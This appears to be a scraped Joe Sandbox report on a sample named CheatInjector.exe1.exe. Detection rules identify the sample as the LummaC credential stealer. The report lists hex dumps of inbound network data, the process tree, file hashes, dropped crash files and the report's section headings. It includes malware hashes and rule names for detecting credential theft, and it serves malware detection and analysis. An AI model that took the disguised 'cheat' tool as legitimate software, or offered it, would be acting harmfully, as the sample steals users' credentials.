2025-03-13 12:40:05 UTC	1369	IN	Data Raw: 6c d0 71 ae f6 c9 69 93 e3 c8 9a 83 8f a5 b5 e7 1f 5d 31 47 36 76 57 3f 8a 13 0a 64 67 70 e8 8e 64 29 7d 0e 82 c8 63 58 f6 9c bc ac aa 51 47 dd bc ec 6d 9c b7 5e 67 45 d6 2a 34 2c 6f 9e 61 e4 d8 6a d8 2d 1b 3b f4 c9 34 90 80 77 80 eb d1 0c 36 0b ce b6 27 a8 32 c3 a1 d2 ab 4d 8d f7 1a fd 72 5c 91 d4 1a fc 1d 0e 9d 91 9d 34 1f e4 30 24 ab 2e a7 04 e9 08 bc e5 a6 10 d1 e3 11 49 de 3a ba d7 da 71 a4 dc 6a 77 a8 7c 62 c0 14 61 f4 1e c6 6a 53 8a 94 45 3a 62 57 e3 a9 2d 85 3a cd 7a 9f ab 16 25 fa 98 50 9e 3c 9b 74 2d e4 3e ae 75 81 7f 3e cc 7b 70 95 6d aa 52 19 c0 ec 98 97 a9 a1 c1 b9 2c cc 9a a9 6b 4a 9b 34 1b 66 a4 91 06 63 0b 12 ba 70 94 e2 71 87 26 93 88 1f 7b f8 99 5d ca f7 b8 9b 3c 13 12 02 41 30 48 4b 34 77 18 76 3b 9a bf 53 3c e8 5d 24 e7 d8 8c 6c 0f f8 Data Ascii: lqi]1G6vW?dgpd)}cXQGm^gE*4,oaj-;4w6'2Mr\40$.I:qjw\|bajSE:bW-:z%P<t->u>{pmR,kJ4fcpq&{]<A0HK4wv;S<]$l
2025-03-13 12:40:05 UTC	1369	IN	Data Raw: 96 6e 0e d3 fc fc 85 e9 c8 0b 8d 6f 0f 15 d5 da 4f 12 e6 bd 8f ee ab 69 7c cc e3 0f 2f 13 ef 0a 05 da b1 48 1c e3 bb e5 b7 0c 9c 71 86 dc a4 41 d5 83 af 67 10 92 27 77 d4 eb 9a ed b3 b7 be 5d 4a 3e 03 65 f9 dd 7c b0 41 e4 05 6d 9d 45 ec 51 9c da 9a fc eb 7f 92 c9 e9 2f fa 6c 2c 3a 72 ad a3 f3 57 4f 3f 8d 28 22 43 83 25 49 49 38 1c 11 d4 3a 5f ce d2 dd 73 89 b2 4d d6 46 6d ec 48 bf 26 44 27 7f 5f 8e ea 8b 24 2a a2 66 8e ea ba ad 7e 2f 86 ff 3b 3c d2 ca 19 63 d4 c9 b2 aa ed 68 3c 78 47 41 5c e2 6d e5 5c d8 ef 08 74 9b 6a 27 a4 0f 44 78 40 ad aa 13 d0 e6 e1 04 88 7a cf 79 e2 de d1 80 d2 ec b4 9f de e5 1b 20 4c c3 d6 ad 1c 30 83 e6 b7 49 94 0b 0b 6b 6b c5 98 ac b9 02 86 89 41 73 5e b5 f3 0c 09 5b bf 97 c4 4c 6a 60 87 61 02 40 1f 93 df 8c 64 1f 5e e3 9e 57 7c Data Ascii: noOi\|/HqAg'w]J>e\|AmEQ/l,:rWO?("C%II8:_sMFmH&D'_$*f~/;<ch<xGA\m\tj'Dx@zy L0IkkAs^[Lj`a@d^W\|
2025-03-13 12:40:05 UTC	1369	IN	Data Raw: 73 fb 06 4c 47 4a 75 8e b9 3a ee 0d 04 5e 01 c3 48 18 c1 36 f8 77 1d b7 56 20 8c c8 16 39 fa 21 c2 5d f4 27 c4 0d b9 a7 02 6d 18 b7 21 7f ff d8 36 b2 4e 78 d3 31 3b a8 5c 0e 20 42 0e 42 0a 05 5f 72 60 ec 51 2c c6 41 3e de b0 52 69 25 49 56 07 78 ae d1 e7 12 da cc 92 68 e0 07 fe 73 30 24 ad e5 21 6d 93 f7 85 79 d2 a6 db ac ab 21 75 c4 4d 57 69 bf 14 24 a3 9d 0a f2 d5 fb b5 31 9f 4c 1d 8d a5 e1 92 ca 98 33 6e ad 37 8b ba 8b ec 66 fb c2 e8 2f 7a 04 6f d3 2d 78 37 59 af d2 6e 4d ae cf 85 1d 09 9d 6c d2 4f 1a aa d3 27 5e 05 6e 44 0a c4 92 97 a1 f0 ed bc 7d 7b 12 f8 35 02 f2 ce fe 36 3c c0 1d 23 d3 84 aa 25 5c c3 a7 dc b7 99 d3 8f cd b1 f5 5b e0 c1 24 ba d5 7e bd 29 e6 3d cd 81 0f cf b7 9d 12 3b 7f 43 c2 29 a4 ea 8e fd 08 04 81 cc 4a 83 fc fe 48 ba 39 bf 3e eb Data Ascii: sLGJu:^H6wV 9!]'m!6Nx1;\ BB_r`Q,A>Ri%IVxhs0$!my!uMWi$1L3n7f/zo-x7YnMlO'^nD}{56<#%\[$~)=;C)JH9>
2025-03-13 12:40:05 UTC	1369	IN	Data Raw: f9 ae 4d b3 22 cf 8d fd 9b 26 4f 7f 9a f3 1a b8 57 85 25 17 73 95 a0 51 32 5a 76 75 9b ab d7 20 a1 83 33 b1 2a da 23 0b 8c 67 3c 79 df 36 b8 ea aa 98 6d 76 30 95 8c 0a ef 76 8b 06 fe 53 5c 60 d0 c5 35 9a d3 58 e8 3c 06 67 f6 13 97 6f d1 93 fe 57 ee f1 f1 96 0e 58 8f 82 f2 bc ef bc 9c f8 15 83 3c 46 6b 1a 38 ba 89 1d 41 e7 4d 14 f0 3c 7e 50 96 4d 43 59 7a 3b 38 ed c9 97 5e a9 eb 9e 0a e0 50 65 1a 1c f4 47 19 aa 7b fe b6 b6 39 bf 79 eb 0d 7f 52 29 50 e1 3e 70 1d 98 8a e6 78 27 bc 95 45 6a 90 c1 de 4c 0c 30 d4 b0 db 44 5e a5 af 75 8d d4 49 69 b5 5f 0a 1c 40 61 c6 d4 a8 72 49 91 f1 7c c8 70 66 d9 37 54 e7 fe 6d a1 da 4c 00 6e aa e2 2a 7f 73 3a cc e7 4a 11 f8 10 80 76 43 23 4e 8b 26 70 9c 6c 49 4c 01 48 0b 87 ea 02 fa 0d 69 53 9c 1c 4c f1 00 78 24 7b eb ce 45 Data Ascii: M"&OW%sQ2Zvu 3#g<y6mv0vS\`5X<goWX<Fk8AM<~PMCYz;8^PeG{9yR)P>px'EjL0D^uIi_@arI\|pf7TmLns:JvC#N&plILHiSLx${E
2025-03-13 12:40:06 UTC	1369	IN	Data Raw: 1b e7 32 47 96 51 7e c5 96 23 a7 6c 54 8c 88 d3 c2 d0 72 9f 62 da fe 67 cf 17 99 f0 c6 82 aa 1c ac 7d a2 c6 d7 2c 8e 5f 85 4a 41 a2 ed 7a 12 44 28 2e e5 2a 33 7d 38 e9 a5 0e dd 37 19 83 9c e5 6f 08 84 d1 c5 c4 e4 cb ff d2 40 f7 36 a7 d0 b4 76 3c 16 fa 42 e1 58 33 47 2b 82 11 67 18 5c d4 30 91 5c d2 85 f6 73 96 48 24 fb 96 1a c1 b8 0d 96 33 3f ac d4 e3 e0 43 c1 cb 0d e4 12 17 36 0a a5 19 c9 29 df 00 f9 b8 a1 99 4f 7d e0 1c c1 47 51 6f c3 10 1e 8b b3 67 63 b6 d2 a2 f0 7d fa 3a 70 48 8e 0b 35 ff be 41 5a 03 11 48 75 29 9c ab 83 ab bf 1c 20 b4 13 83 cf a5 64 d8 2c 4c a6 29 29 d4 f2 24 d9 d5 2b 3b b4 6f 8b a2 11 e6 01 f1 86 f2 aa 6d 16 57 17 82 56 2f 6d 21 6d c9 5c 4e 42 53 db e6 2f e4 53 ef 79 69 01 fe ae 76 f3 99 3a 62 ef 36 a3 6f 2c 3d c7 79 c8 70 75 82 c8 Data Ascii: 2GQ~#lTrbg},_JAzD(.*3}87o@6v<BX3G+g\0\sH$3?C6)O}GQogc}:pH5AZHu) d,L))$+;omWV/m!m\NBS/Syiv:b6o,=ypu
2025-03-13 12:40:06 UTC	1369	IN	Data Raw: 5f 5e b5 f2 69 bb c7 37 43 e4 45 1b e6 45 32 7b 79 d9 52 ac 01 b3 16 5c 20 fc 20 7a 6f cc 57 e6 45 51 b8 ef 13 e9 34 f4 c5 58 20 d2 f8 6f 6f 89 37 5e 19 fa 57 91 bf 5a 40 50 73 8a 35 ce 01 ac e8 87 ee 45 41 7e ef aa 3b 71 ee ea 3e ee 14 04 43 9b 74 f2 a9 af 60 84 dd 04 f5 a2 00 17 26 f1 a6 f2 e6 ce cd 01 87 f1 7a 05 4c 28 9f f2 d0 fe cc 29 83 d5 a2 f6 8e b8 3b 27 e9 1f c4 4b 39 5b 48 fa c8 45 52 d8 bc fe 34 87 23 49 35 c1 75 e7 c4 fa 0f 70 82 04 44 91 c0 cb 54 89 b3 fb ca 5e 3f cc 8d c1 70 26 f3 43 52 23 77 06 18 46 50 ce 1f 9e 48 37 9f 2b 78 bd 55 90 a2 89 d8 78 d1 d4 e9 84 39 ef 32 0f 6c ac 73 7b 5c 73 e3 85 ba 96 3d 06 07 7a c9 66 2f d5 69 bb c7 8d bf 46 b9 49 c3 56 db 23 4f 1f b5 fa 5c 06 05 83 e9 01 88 a8 50 b1 30 95 40 99 62 fd 4c 80 67 81 70 7f 63 Data Ascii: _^i7CEE2{yR\ zoWEQ4X oo7^WZ@Ps5EA~;q>Ct`&zL();'K9[HER4#I5upDT^?p&CR#wFPH7+xUx92ls{\s=zf/iFIV#O\P0@bLgpc
2025-03-13 12:40:06 UTC	869	IN	Data Raw: b8 29 08 30 13 0f 67 1d c5 8e 1c 33 e5 2a f6 3a 73 24 fe 3b b8 ad eb 55 ca 32 78 53 22 2b c4 a3 7a 2c f0 45 c6 30 86 53 ac 06 dd 84 fb 51 11 d3 ed 90 1d ac 4f 2d 45 25 57 be f5 86 38 60 d9 57 c4 43 ca d2 1c 3f bd 83 9a 89 5f 9f e3 74 8c 91 69 9d 75 2d c4 3d 0c c3 a5 db fa 48 16 8f 1b f0 7e cd ac c9 46 e7 4e 0d e6 6d 6b 95 33 25 6d 66 41 4c 02 74 ec b9 54 d6 8a 83 ff 8a 91 46 b1 4d fa c0 b3 1d 33 98 1c 5e 66 89 ab 1d ca 70 3f a8 c1 db 3d 1c 49 31 1c f5 95 63 19 57 8b f6 83 95 65 c2 68 e4 5d 73 f0 9c df 9e c5 6e a6 6e dc 7d 4e d1 77 e0 6e 15 43 6d e9 42 6f c9 4e 5e 71 c1 84 30 a1 8c 0e 87 21 62 4d 7f d5 13 9c 44 9e 03 98 63 ac e4 a5 f6 bb 4d ca 06 ae 4c e9 55 2a 4b 69 90 f4 f6 39 b3 00 46 17 64 45 48 b3 c3 df b3 12 e4 08 c7 2e 84 5c 76 ad be c2 0e 5e 3f 14 Data Ascii: )0g3:s$;U2xS"+z,E0SQO-E%W8`WC?_tiu-=H~FNmk3%mfALtTFM3^fp?=I1cWeh]snn}NwnCmBoN^q0!bMDcMLUKi9FdEH.\v^?

Target ID:	0
Start time:	08:39:37
Start date:	13/03/2025
Path:	C:\Users\user\Desktop\CheatInjector.exe1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CheatInjector.exe1.exe"
Imagebase:	0x740000
File size:	1'372'672 bytes
MD5 hash:	DD71E60B511B74A3E0E41023A39CAFF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:39:37
Start date:	13/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7e2000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:39:38
Start date:	13/03/2025
Path:	C:\Users\user\Desktop\CheatInjector.exe1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CheatInjector.exe1.exe"
Imagebase:	0x740000
File size:	1'372'672 bytes
MD5 hash:	DD71E60B511B74A3E0E41023A39CAFF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000002.00000002.2613622402.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1513864716.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1513114286.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1544263244.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1544663308.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1544410228.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1513425489.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1513586452.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:39:38
Start date:	13/03/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8744 -s 136
Imagebase:	0xd70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CheatInjector.exe1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_CheatInjector.ex_18edc53277a54ad32ef23d6403a351e86d161b_553f006c_7b4e9e36-885d-474d-a533-3d10ee0bac2c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D57.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E43.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1EC1.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Windows Analysis Report
CheatInjector.exe1.exe